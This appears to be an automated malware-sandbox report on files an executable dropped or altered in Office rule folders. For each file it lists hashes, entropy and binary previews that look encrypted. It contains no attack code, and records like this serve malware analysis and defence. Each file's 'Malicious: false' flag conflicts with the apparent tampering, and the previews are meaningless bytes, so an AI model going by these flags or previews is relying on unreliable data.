SHA-512:	423CBFE19741FC204912E330E3738EA6ED1E74EAC1BE8B1DCFE350C2248CB1567E0E02353EE12CA840751E7FB67B2F99B8570EB1E9CBCF476BAA1F3F0190C25D
Malicious:	false
Preview:	.<?JQyc...5...f..sC.jU$p$B..........~.}....'M.Z.Z.>..._J.a.....^...4..Ir.#....A.N....'.!.cjl...d}R...i..8...71.J. q.b..C..!..G.H..c+..../..I.M......P...2!X..)B.+.../mh...._6..z........&.......Y..i..O.........i.1ij...PWM...w......f.f.:T>./?......>..0.r-..3....."@j..u........IA5y.t....7.....x1Y.....Q.A...>..4...$&....d.}....o.~}wa......_.UN}A..>../u..8...Bb...S4>_..6...p..(.....8X.i~....+.....c....Ld...$...D ..`.<4..........4.I.ch.I.&f.C.o..:.....?.....Mg..d..{L..~jN....y.N...c.!(.9.'\u.b..\|...fc.9-.=\|u..T.<.K.:w\|.%.....@.S]..R.Q..(\|..J0....F?........!.2...:..TRm.:..,...t.?.lu..VR3........T..te...._[$,...`...../.C.:(O.g3......8.y..h....C.El.Bp.;...m..,..`.y...J.....^..7z..[...p.GkTP...:.V!g.....Z...=.yG.......S..S.un......,=.p"@X.'D.#.K.q..F..e~.#!...H.]/m...b......'.f._pu.D...,g......).....&..69^...c=^{....L.......e[bk.....Cf~.,.B.`r.GR...^.!.]q...5U)E...1..._Q...,.u..!.2....9tgi....9\.&(.-.k9.?(.fs$.w..AN.........H..^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.874742236377291
Encrypted:	false
SSDEEP:	48:0iOhi+H8U75UkfUSMSmwR7PJAfzuA0B+2uO2E2fD:KB7mSUSnbR7PiQ+2uFEG
MD5:	41D26F85459D12552F486D71F81D669A
SHA1:	02165BD4D4C4F07AC0706CC3D3D2C72662AFD2A3
SHA-256:	C955735EFDAD0112E2A37336BDC104E34725F5CC3E615B742A1A553334693ED9
SHA-512:	49B19A4181BA2B7A66BDE33EA3E19158E5791AC9310D4205CC613C351B9E9646DDA14064AB8E5FC8C66E59B373B86F761A22BF61B061746A2D41A1C77307250B
Malicious:	false
Preview:	.<?f..u.g.G.%~.J.@.X.NN.......h...pm...7X>......J ,....-.n.b._O...&M#w.$PM..r.9.QB_..`.;..]..../.....S..$t..4x..5(...Y.....l........P..:.&P. #...M/J..$3.y...C.=..k._......<.a.....)....ok$n.)..k..G.Q..'....:..z..u."...._.....5..2.....5..Fa.......A.4...........h.....\.........\|.n2+...YNIC..]j.Rd.b...\_..."..m7..F....2#.Z...4..Y...3\|..............gYd...B.O0..&.?.....?..^.b....V...A?.dQ!dy7.....Lq..xHS.3.....]:q-m.6.qr......j=.".....`....,.[=..s..b_=...:s.....K#.h.@..'...._..P..&...=.Tu......"....L..\|...nS3D\|.2g.....S1V"b. ..qd..c}.F....%.....%..C.O`...E].y..2....z.{'vP.k.......C..n....I=.v..%.?.~.E..7h..I..~.G.L...>:.....vP.:.Zdz.R..c"......l_oE.q.. 9!.'q...q....%d.!..w;~.n...j...XYU..G..Gx...]..:..............\...'..ml......2..-.X{.Q.N..x.N.Y....p.........l.o..~......dl.O..=.L.t..^5.<...2...2...`.{N.d.$.x..Q^.8...[...h.....U.........cf..A.$.`..K...D.G.a_+72.z...>._.&.B..+....,.&...-...M.(I.(.^{A.....3.T.`u.+\@.d.&.qm...@...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.896077271710791
Encrypted:	false
SSDEEP:	48:rEO+cp+VGY3ZZ2t8SOo34tqCVpvC0hthlYDRD:eNr2tMoWqC/vJ/MZ
MD5:	B537E3C1463E21217029D73101FF4663
SHA1:	C956C8E687A4B83F73B171E5AF90E9E63C3D4E40
SHA-256:	8AB4AC3C0F76E9568DDAFECE54B8B199DA86E0F60CD742C6BB6BCBF4D788EC20
SHA-512:	635365B83D9B63B1D80DC5BD1A31808DC85297686FCB9C11C1358A4A973D6FEB585F733A08065F854499ABF48DD9ADF1636ED15D7A7CB60AFF9AC8529937FE48
Malicious:	false
Preview:	.<?MO..^r...[s..g.)].t...bh.9.H.._\|.....F..7.=s.........n...>u.Ot....D..bHwp^..Vv.B.)?.(..dR ...t.....U..Q\|.,zp.%}:.\.%N.k...R1w.........;...}a...4.'2.A.........w.U.<X....?.......mo.....f....NZ...#.8>;.9.0]...y..g.W\.....A...`]p....G.}9..1....k......s...PGv.w..u. .^.p/............O......B...."b..N./+((.q_.p....b.:R.j.y$...q..K.7$..L.9..J..D..#.?B...3.H..........._..d0..m.qP.A......3+6.d@.."......@...@\..F~.c....q2.qU.f..F.....x.&.IW.Vt...d..t\|wJ.$h:R..>..`...4.#..=.].7T^.p..NU..Z.n..xP"v.U..h..(..O,..6..L.k.,q...M...{U~&B...........e.h..`..j..P.d.igF ....C....\|.b.%8P...'k.k...[..3V...Y9..p...k...t.....P.Tij?`V.S.J...:;.Q7...w4\...I)...yx...%..H..4\|4!.n]i. ...F...;..kn.!...M.`y=Q=z...p.. j.2..a.*...,..^-....d..@.^.H....].>.....\|.9/.[.f....,8.....8.0.IF..........2...Z+..$37........\|N..wK}g6......C%...7_..."....DR.1....T!.0F..#.....h.3S.p".>an;...Q...j.!.+.Z;...S..U.E.f.;.H...9.....rL..c.@%.Y.p.B...`.S.......-\|i....'.......@...b......iI......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.891187128310608
Encrypted:	false
SSDEEP:	48:mE9NGO8KHPeAzNkPqEzDaBgaCoZnu6zWFXD:mW+KWAzNkT2mlen4T
MD5:	10E69F48C9077821726D75964CD61F59
SHA1:	1BFB69EF4326B3E9A032D2AB966D226BE5F2D117
SHA-256:	14CEF85119120E974821B0161FCF95F7CB6B38AEABC72E2208865D3EAC5346E3
SHA-512:	B0D399948CA05D318254D2F9199D61FFDFB1D2D5B33C18F8183C752D1E3AB93F5350F1A8F43900E49C1CB5ED870E7081278DFF2FB77A761F363588A91DC50AB5
Malicious:	false
Preview:	.<?D0`.!.'@..u.R.~45.u2.z:.u.k..^G.`....).....qT..6...Y:Q..d.....:.4..P..Gwc...x..i3....1v...73.&.>]-:Kd..;..(.d...Sk.....&..A.i......B.9x5..E...I....Y..G....x..i.F..1l.tg...~.!Q.P=.d+.....w..u%06.._6..VP.M3`B..5J{.@j.m.n&L..-.......lN+>w...\|.gY..O..s.'...n%..E.W.y.jG=c.....=h.d..2 .0&.b.2........HjU.E`.{..Q..?=]..d.C60...@..5@e....U.-.\|&.S...........t.y.rN...=i.Z.z&.w...U..ih......(<o....O....W.o..'......U.?.\Q7..cP..\|t.~...RV.....x.gp.^.z....w..#...d~s.c....5]..J..].5...+..+X.G.`81H.-;...sxv..\|..ZW....=..``...!p.6}>.......F-...4...B.u.xq...;./.P.c.&..C.......g.-.x.8....<....< 4......[..CWa....mx..GM ..c..]/........{\.PJ.-<1...6t`X.../..[.".Jr...a}....FC.P}.....0,.X...m.r&O..;...h.8.Q!..J..lp..]....Su..I].{..,...F\|...........U.'.]i.U...J......DV.@....o`......>................H.t....T..B.D...v5m.H...B.A.........{d]..gz.rJbN.x/...s~./....(..hn.7.e.q..IB....d.P.`.&...}..)....R....FL..C+.t..... ..I..:(75Y8r.a.p]..%.{......>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.896520467737734
Encrypted:	false
SSDEEP:	48:rsjjxxNIPCfIncBvIxkKYNZgBMFQ4w+5wkSD:rsjJpIcBvIxMNZgowcwk6
MD5:	B34E62D4198930A217530B21C216E47A
SHA1:	75193AA43682FA635899BBDA2CC4B3CC3EFAB42D
SHA-256:	FF7B98EE98D14D2E1495B9EF84C2CF86B43BC7D019540933D91FBECFC1C3E292
SHA-512:	9CAAFF2764D3999B68A94D0FB617B955F0DA718AF4B3990949E8F55981D6420E8B009B28713BA1B0D00986290009B7F788F5ECDA4D4F99960B470776F318308F
Malicious:	false
Preview:	.<?.-......nZ...z...m.a.......=....e{.(~8.@.5........tyv....U .......S.{<[ .,u%B>a."L5@..U2...).....8.Q.?l.gv......Gh...D~.q..R.C..X....Q/+..X.HM../h..\|6P8.)........+.5/...^m..k#.}9......p.~...ZT...j.x. }J...U;.bY.st.t_.f.8./..A[W.A.9.......W.....-........X.w....4..7.l...5..X..J.......W.9..X.5........Z... .ZB...2..{g.#k.......c....q.#1...^........1..W.\|..6..:kbf3..O'.v..W..l&......L..I.{..RfFWv.5...G...kdb.P.S....."...~....G3>..N(.c.....9E..-~....b...n.~..$y3"". k......D.;..y.Z..n.rR}fF.".d.\6V>....z(L..?..[.9^#.x..&.SM.]b.J...[_..b....$.<...<....T.........a.6.R,.....]....+.-...a#;dV.Wq.Cp.Y..6./f?..FN.Ms....$I.... x..8A..`.uI\.1V..ZfdT...}.F...fw...x....R..J.....Ma..i=.).?$...`0..._.$.....y.N.].....z.H.,D...7.".....-..a.....Q..#.H>.`..t._.:..a"-...I...xG...\|.h.n5._..F^&E9Q.2.L5$....8.1q.7.\|l_...+....A.)T ......5...S.........X..b.".9.....+.+C.....R.6...}.o...\.L....(....$.4hrk.}....o.p...=v.'4......Cf..;.M.bw.v.\|..7./...#.{1....}.z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.858286710245736
Encrypted:	false
SSDEEP:	48:kZM2ms8fF9ipD4jo269agr+D0Yj2VSWaD:6M2tIHKMjo2mn+DoO
MD5:	078D75AFF734CABCFEC5644E4A736B13
SHA1:	5322A62514837F961BC1D554A67D94E2DC6FA15E
SHA-256:	9913F8B0E496C08AFB9DE532DF169424EF5283F2D705453C203AB95A6F7840DD
SHA-512:	2A48662DB22530B0E97562DE881898FB70BF6E102A5A0E3E8765F9F597F538930F7805C4A2BF328592F6DEBD5D1BABB53F2545598A733B56AC3E61164CA8E8D0
Malicious:	false
Preview:	<?xml....K-.Q.?...K..;"...K.>y.R.S.....D..y.h..4.L,.r.rJ9..~..sj5....4.rJ..[..A.@;-.R.+...~..\[1...... ..+..7.......RRoU...p a.M.^H;...%z.d.....iSwL..+1yc...Z.5..\..n.B.-T..V]$...ciJ)4H1../..>_.\qO..j......\.%......X....Z.cG....k{.>.Do...j....f1.8..g/.....d..Q...{/......c..N...]P...`..KU..)..z5...C.O..G...4.v.3.0.Sh.J.&..j.....6..gFe.4.Z.E...).7c.".\.......`.&.5...K..^Kf..........k.^?A.....M...j."m.O......0....c.._...c~...B.^...._.../...6O=.....j....a`...!.J@?...ey..[,P.\..A........`f".p....O.#.A.....N..(.7U\.`.....~..NR....q.5...F.%..2.6...t.t..H..o..G6]...%...Gs..7M....Bl.;p......!.m....../....[..%C.%L&..a.l.H..-<gt5.......fL.b.a.d....BNj..YL..b'O...C.@,... .G;.g.o...X}.@I.BOU......1#A..Smy3_.b...m.s7p..x>`...n.. i8......w..*....u.q.}...!_....SIQ]....@:=. ...{.....g......,xQ..T.//.d.{.Z.K..C..v.X.......}y.~........dI....@.F._..U........PW..V.....=x...\G.......[Z.x@.{C.....PP...c..3.d....w..VL.#K...n.5\|:...,]F....O...R%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.51466247433824
Encrypted:	false
SSDEEP:	6144:ooONk1t38eZS/INM0SCMb9/SPo6HPjN6JGt8T:oo2kz8wSRnQPFPpbaT
MD5:	58FF9A818F98A8CFC55357E95F70F2FD
SHA1:	6FB3338391B52929E2C83541A3F633E88D0A2ABE
SHA-256:	6B2653010CB8F0A95C0853CA4B9055A824C8993A54B8B79A55C505770FE07F5F
SHA-512:	A003E2D3948B0B9D93235DA9B3D3002F7D2A5EA9673A4B1D8322AA3276682416F64DC2927B74C80BCD25E3C02B31145CA6DC3A1413698B687C97343F87CAA9BA
Malicious:	false
Preview:	<Rule...S......T.....K......R...(1.._....4..<[...@.K...<.V'[....g..a68{..W28.Ko....0.M.H#.......j..k.......B..H...].........n.......6U.&..-.4......).$....{...qCP....Ap.VDulkHc...6U4.....$MG..D..v.f.D..{+\|...k..y.=.....?..y.m....\w4~Hy.G.G.7..`..W.A...#.s4....u.CD...{W+...g2Tm..~... e.-.B...D.w.f@.'....8..R.f..M......D..4W@W7...k.._m..K..-(.L;.z.V..S+.AF..?<...m.MS...z..s...Q...:.].N.P.......,).\.]k.g....Y..j.....\|Q!..V@...pe}............U..A....qi.B...}rz'T+...).l{.3b.,>.q8q-L.Nx..$...e..D"..T....-.8..r.OJ....q...8 ...a..Q.f....G...../......F..............(...a_U..).3Y.d..8Q{.........@'B....Y.<]..............M.T.c.....@...#A.".2B.,~x.V.>..c..>.B....q).R...!..[...M{.4.wYr....Ux..#U...s.@.a..G.j&...3.`.])...7...m...w..{LHP@...]..Y3..go..\|..G.A....`.%...x..i~#...?t.N..(.].>....?......s.~.M..D.\..p..RS.=..."Q-.E....x...NJ6.W.......*CC!?...+.r{........j.$....uO..y...[Sdp.]A..6..je...%..Lh.a.:...qdAe.h...7..2../....&...b....>..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.896347184985505
Encrypted:	false
SSDEEP:	48:hxD1RkzqUC95ssxM0J6oi27+kcaf7HW70rcfaqpz8D:hyzqnHFxRJ6+bcaDIe1qE
MD5:	868344122415E23EB3077A8897E7D307
SHA1:	7C18DBCFBA8CCF02FF432659EAF3FC04DF0E909B
SHA-256:	D754EBB12E60982DBDC2AE379D9784196A7A9256D984A38CEE4CE978AF95C0C7
SHA-512:	15ECAE0A5C53C6C07195C4B0E4167A2B282D2A03F4542C96FD686DF3B97136464A7299148A1BCE62BFDBE22727BAE74D7669612B017AB0B17792367343F6388E
Malicious:	false
Preview:	<?xml...^8.0$aMk#..o...G..i.L..R...IxJ...".^xw.D^6".=."...>.3.,..q...[.fF..D..\..!....`.8.R...G......."z.UR.......$C.D.......G...e.4..Z\7.=~........z&.......y.....b7.......?..93..]...r..-..t94.w."@...~.!..L._#lm.vZ...3}[.=$+..A.k!2......}2..I..q#..V..[....9D..Ns..4.?@3...Oi.$.Z...1va....sDyU....f....e4.e.).\|./._.jW.7(...L...hU.Sv^..A..S...D-....}SB.[d...i......K....\\|.n..@t..y=..WrDW\.8t....5..#.N.....%;.D.\|{AH ..+...D.<.].L..R2...C....O..V=.Ob.j>.....T...F;0:........\|...EZ{.G.....nN..D.4..;.33.....w..Z.O._...8Y=...T.Re4....P.L.f......BZ.iiK[.....U=..%]......:w...bu.].....`.x..2..Ij\...V.:.6.v....;.=...y...@.M...;w....9.6..."T.".rX...iuB.p...S....j.F..0........+.`..F...w..u.....9..d.>.:..~.u[...z..z.l2R.. ....UdkQ.}<.+Y.9....z<...4.m.[i..m..]w...o.@{>.b.[.!..]..3Y&V]....F...:...m.;fN.>..u}....(J..mB..t...3A..+H.4...^....j..c-..kvzE$.."p.'.....8..Uv....n..l..Y..f...#./..*).G....".5...1..nv...Z....x.]IGFi%S..B.-.'~%......Q.....s.-..#.?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.850702418420731
Encrypted:	false
SSDEEP:	24:gzPtmXFtcRxihOyXEIIleDLXrvGLHXjFlgg6G3qRm80O11nsorIiDoyndYObD:UCtcruWoD7rujXjFlgwqZ0OFrI8BD
MD5:	ABA20102DC328D652E018409BEB83F72
SHA1:	5786BA15C909633BBB8AB2E8E3E32BF4CB8132D7
SHA-256:	D9B8224CC981B0A3D5213D9D2C422E78F9EAE1C4D306F9E91721EDF13A093414
SHA-512:	3E7B821BA0AF640C170B333B1010A823241BCEF236AE02CA41C6747E640AD95D298E0FA2B35401BD81E431048BFEC5DE0B4028D31155789DD27DF3EBE106835B
Malicious:	false
Preview:	<?xml..?'kOy0...P..2.....Qb..\|......t.<.x./...8..jT..w...^.OW.....JQO....d.La:)m..6..d.....zm.?0r.......`Z..&.....h6.+'u..'.....6...S...1.S.0F.q....m..9.s....3lxW...[....+d.e...D2g..v.X(.Ug......P...A+X..OE.....{....5rs..,.YiWp...^.O......i...ZH..X.i.]G.@.xd...g...+O..r.H.c\v.......v[IY.,tF...8 ....S..\..6\|...@.4....{3...Lo UQ..iL.O.CJ.5S....x...Y.hj.I..4.....&....K.l......1.....Y...0...<}.. ....U.%.f.3.T..]+i.?3.Y.!...R....u...2.T.@..$A.d..t.?.N.d.P......R`5.....xU.n......v......:9<.b'. T.R.iFH..k.=5..E(.....s@......y.-7P=u+...>6O...9...5.<.~2q.=....)...B..2.D.%R...p.(9.]\l.R%......$s....W.4.&Dg..,KE...C._.jPT t..X...p6...;...HA>.m...Y.6........w..d$..a.5.....$......k.`.c...z..JT.....i..M..=.O.I-9X...m.P..F...[.Xq&.@....(.,>..~..9,...fF....=...j..,]......q.}.7Fu...s...+-...__7...k."=`....N&R._1..v'C.P.>n..E.4.G....o.~...(..=%.....,.A.\|.....-..Gd?A..I.@.y..?E...#...uE.....g..u.MQ.].3.q&.........!.......m.....a$..K\|.A..7....9...2b..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.928194983667658
Encrypted:	false
SSDEEP:	48:Azm/HiJeFb4nF/Qo53ecLyndw+m/Gmv7IQDS39YP6qIA6gYNJ8hN8++hAdubFsD:zNcFIo53eWydw+muDQW9N7VRJ8Pk4ubu
MD5:	CC4DDB9EC7094CAF74AE8F5EB8972AD4
SHA1:	D82BE65D0E8A15B11B02203C39BC237BB4EFF188
SHA-256:	63543ED5F9F3BAA104583F394300D49B2E1752DC6240DA6455BAA84A3E9BBC99
SHA-512:	C01516456E9ECDD6938B2CEDEE74A2D8D0A55B56BD2CF6A7F9A89861FC7A9824FA8AADD1FF98AF4F985EEC30928DEABC539101FCA89EE058827B517518FAF0D8
Malicious:	false
Preview:	<?xml}.jC..E..-.....YO).vs.\|.S......3.&&.g..3H..f......?}.....q.O.U......<Kg....0..:,.\W..%SJ.h.._....3OQ...#Ly..;j7..\Q.....+f.B.}.Yn(I./.,........B.Y.II.&.D....-..Z..u...6.....mr..x!n......e..5.g=...m.....M.@0M(...fH.?.p4...#/}..N..)..1).tH........4....).x....PsR...Y.O.fO..m.....CH"{$...zq.uK.Q.H....rj<y.H.l..'.r...^e.HE.wA.R.I...x...#........_.PYqx..\........".....\|^.F.h....^.S.ia3.0.R6...5"..y."..,.U.....(_i../............iWx.b........./)...yv.......`..A..n.\,...{WDDY..........Ul....oD=..g.\.4?y.....l.zx.N..\.k.....i:-....V..R./n...V.`...}..vx.....zVu.....;R..C..]-..\|.........H../.8.9..X.p+...r)....n.O.....M..iN~...D...?.. ..o...iK@..y......%..O...Z.....f....d...9........-.K...Ah..."..'.J.l"..0.GO.0WzO.2dx.......^..p7qg8...[.....6@....l:......=H2.2.3..).I...W...LO;...g.....wW.....q.e....39.!..v..2n..I...3..W5 ......Y\|.Ew..I.."....R'..\|...ex...w.o.K.....~...O..'..>..7...B.#.d.{....f....e..a..u..k..2......7..r..[.m;....J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.876483860927972
Encrypted:	false
SSDEEP:	24:IqPAfCBHQ64vrVQ6e0WaMo34eUanh/G2wQQPRAnK2QRLdnI2wRAPFQ3HHYqTbElT:fID64IqWSNRJQRhnVQAIHYsIlXD
MD5:	B912DEF4545A628512EE9D4AA0AFE4FE
SHA1:	AA09A353632EBB76CA02193CF8638DC09EF3B09E
SHA-256:	96EF12533D8016D2E4C1EC86C35EB45A566658E9288EF75F54B19352312F477F
SHA-512:	D593B9CB2710E2EA4A299A98507A2C6AEC9DD9AE7F9FFD149A432E1F54FB8A1CEA831C114AF9BCCA294A31A4A6DA62C941F17DD1B5380D3D77CE11663A711C06
Malicious:	false
Preview:	<?xmlu..$...Z....-1..mMZ(;\....eJ.f.XW...U.$f^5U...........j9D..O.L........K...A.(..3.}J...spL8u.....D.......R...d."n+.Z# ../E4...}....1.f"fc.....B..8v.qz9..j5..m.h5...d.C.Q.^.C.cG.8...?....{~..=...~?..wA..~L.(......V\|3...@U..P-..;......$1S.;J....=.....E+e.>.C.o{^\.U...a..8f6.T.n'.AtD..'t.ZJ..bw.M[];j..N.]..og..?......k...,@..^...b&..W..6.1......r.I.....2.....L......._.........o.eA....nV[j.q.2$..(x.A..B..tjPL6.F.L..,.....#t(.5.N..~.7..!..m.....n..I..C.r.v1.L.g.l...SK.n;;.O.s.H.].G.../.. .\..........I..C.\|x5......#...~O4'~....d$.....n'.5h.b...\|%.....6_.@0#...o..,Y...p;.N.miv.-s2.W.H.......*....qt...s9i7..(e.Z..P..I].D.C..[8iq..%>......\TZ..T..j.`.8.:G4.V..9......;....rk..f.i...8H....t.G..../]^d.w.zh....x..._%...5.... s.....-.G.p..QQ\b.6...c...Q.,.....h..T.).>m>..k&bB....LD.S...p{(...L...U=x..5..c...,.M.a...O....3...i.Q..S...&..B?.p. }W.1{..V....C.>'.._o_.g`....K....2......[Q..-.4.......Y.n_XxL.[...p+....J.[.P..".A.w...\|.......P..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.893428092262468
Encrypted:	false
SSDEEP:	48:OyYE+jWsUsf6LghdHgghj1vweWowm6e7x31sfv/tkubY/XD:F+6s4Knj1vWow7QxqWu8b
MD5:	0FBE3EF19F3D893DD9E16D1CE7580F60
SHA1:	789969FECC3FDC93AB363E933BA29226C0111519
SHA-256:	4B91BDDA1A327EC643E26E0CC281F59B0D3E238E68A191EF9DFB5BD4F6C63136
SHA-512:	B4FCA56317677C5E5B2C468EF7527A379F654744369DA65038429F74B6AE861358965AB1CEACB1CC107226170D39F1C97D177A5CC91DAA318BBF1CE3DE9416CB
Malicious:	false
Preview:	<?xmlq.6F..z.c.8.p.R...........W$\.o..............+..X.....,.X._A#R.x...U<.n<..[.@..t'l.1!Sa.n....7.>......x..U...6.Y..!=y..Ba..........$=....07.....Z..n.=...%I.x.....t.\|...D.!I&...R$".%..n;.....!....\|.....o^.,537..Q4~...Qa..i.X..'@.U...zG..U"......Pj..#.%3....^..CE..`..@.d/b,.c... .C?"F.......z....\|.?.lm....(^d....2L.x...T.d.&..dz...o...E..4@....U..s,.g..).2.....aU&.u1.....M...o.."I...xOx.....)p. y.^7.....:....@..2......l.Wcy%I....&.)..f`4^8.........^.sZ...s=X%........`...s...$..wG>...m<..79...QQ..f./gE.. ....P...?nT........H...K....../.....%.[c...Y..\...6..j.Td.p.u.].}........E....]2...4....l......p.s...5..$;R>.....c.......2.B..}.....m2..!.....6..]/....T.H...K../..$V...TI..N.._n/..-V..]lqw.Vy...B.....,.qc.z..S..{........(.H./.]..A..6...].}$'.....{.E.......0`.Yy2S.F.b......;jE`.8~.R.u...=..R....6..88.%.k..mQ2"l}e...s..\......+vg.......[f....-.#lB....E./..p\|..?..-..)..t.y.G.L.U..`.t.?,....3..u<.....p...*".$ J../=..'.1........K...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.726053762660395
Encrypted:	false
SSDEEP:	24:XzbXQl5ditlRyuXE6LcFaf4YpVZL4Y5+TpLQlroWRkPZvbD:jm5WDyulL74YPZLNy+OZzD
MD5:	D2AAD099B8EA72527BD485AE2E4B40CF
SHA1:	3B014B543DAC6AB594D2F8CE8AEE3A858875E92D
SHA-256:	C8AD77521B39C8756546508E0DF5C85ED44CB6516E16C8A28E14BD735F5FE3CB
SHA-512:	BAA2A527C5A4C98D68715B691116798264807519979CC9747E0240F44E6E6F3C06E33BEE12ABB15F8C0F09DB82A331005723B422106AE7CD61F37E73A88D2C07
Malicious:	false
Preview:	<?xmlA...E...q..J...e...5....d<....<.!wv..+.Y.0...a.WT.Dv.....u..F...G.L?.2+.T.3.@-D7......g..D.kd.......2.X{.8{Q\:..Z....4.W.B.D....3..[]!P....@.;cd..... )....s..."#lt~A....n..c...y.'.......QMrs.......!.......\|)1.;Dq..j.......{.+d!..'J....r..q0.6..D...y....N.@...,.3..oo...c.k..K....KH.t..`.W..%...)U.~...2.6.m............w...5..M.n...$sN.9.[...V...%......F..6.X.....u.qu.M]-..:..P...%A`..+.gD.d...S......._t`.....p...5.c.....LF.7[....pm7.4(.M......L.3.s.....J...N.X.'.....<....c..7..M...{.O...u....@.rr......C>....!..ng!e.F.........S..d.RDj...:..ug..^.e._.\|..L..P...tG.XHg.8.p..d.#.9:f..;f....$%..........b.J.{..4..........].....JL'...Tg.. _&...h......o...13...`sBG..2L.......V=F........ ....).c<.aSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.905604030715577
Encrypted:	false
SSDEEP:	48:j89nD4jJXb+XlkccA6YHUpbPUB6cLcNiYdwHfeLXAQFrA8PD:4DfGclvybPuyiYdCfstrA8b
MD5:	101AA891C9AF370F56C6532788E8CA0E
SHA1:	EDED13A1DDFDAA38131AE438417384C4042EC3EE
SHA-256:	6D7DA860753B2D0B4CA7A40C15046E6E85B501671D2EF7F149F862E46E26496F
SHA-512:	444589AA97044C13080C0F220BD1E754FFFB041D69A47132299D9509337B81E579B14F01A71019AE9878730E9E559FC7236F1CB998D1896013A10208DD88E7D8
Malicious:	false
Preview:	<?xml....[..,5q.B..1Db.Q'..!.../?S.>. .l.R...o...}...t. k..g...$"..N...:'.7.J.u....os.w....urc... H..i.;.Pw.%.0p.e#...w.......i\|......o...e#.zU+...Py..W...BGT....Q.Jr.BD.....LbF..d.)...MrXM...1od....1....Y.....'H..u.b.J.B....{...V..T.{..KW,}i .p..<.@..u...9.-....]9....E.-...[L.W..k.'P{Z.[I....a.V..z,.kbm.B.. ..FwN.1........$R.:6.FqC(2xyN.....>.sj...v.{\:\A...n.b0.".'P.!4W....\|..!\._.4 .._;'...;..`Y?.j.......\\?5Z.I.R..f..k.5....K...w..c5.2...=}mrU.fR..R8.....P)a...Q...8L.............P._#.Z..y....7.\.Z...q...=....................B.&.{7[R.9..p.m....S.M.J.......zu...Z.d.!.B.B.....Gd..5...F..........Y..;.m..F..j...".."...G...X.S Y.8-4y...oc............Mg.....q6;1....tU).......B5...y...3....^...j-G..\.I.8?S...../.+.8Y......1:.>A..:.. g....~1........on..Hf....jy.T2M..E3.1.6]=i.{....V')..\|.8aO..N..m..t:C..X......."...4+...\.1.....oU.]..;\|....[..=..7.yl._..).h....}~......./....\.C.sp.....^.L.v.....4....~....~Y5....!.@...M..OW....z:g*

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.728899587893685
Encrypted:	false
SSDEEP:	24:tMpycMpoIegtSUowFJbaDDF1SzrQlwnxq4bD:tMpyND13lvbafPEQlwxhD
MD5:	075A236A27811F237DFF6FE6EAA54660
SHA1:	54442687F6B02C35C68F49AD851B5517C3DED6A4
SHA-256:	C3999432F21FB93EC326E4701257F6E68F54576EE2D9C09DE83FFCA00B5684C4
SHA-512:	3D05E97772ED6C33377A6B241366669C18B964A4EDEF97AB2F03A6288A9AB451ABE719C95CEC73FFAC6BB130942D1CC5B60CEF6FFAD73464C27A7F9EC35B9483
Malicious:	false
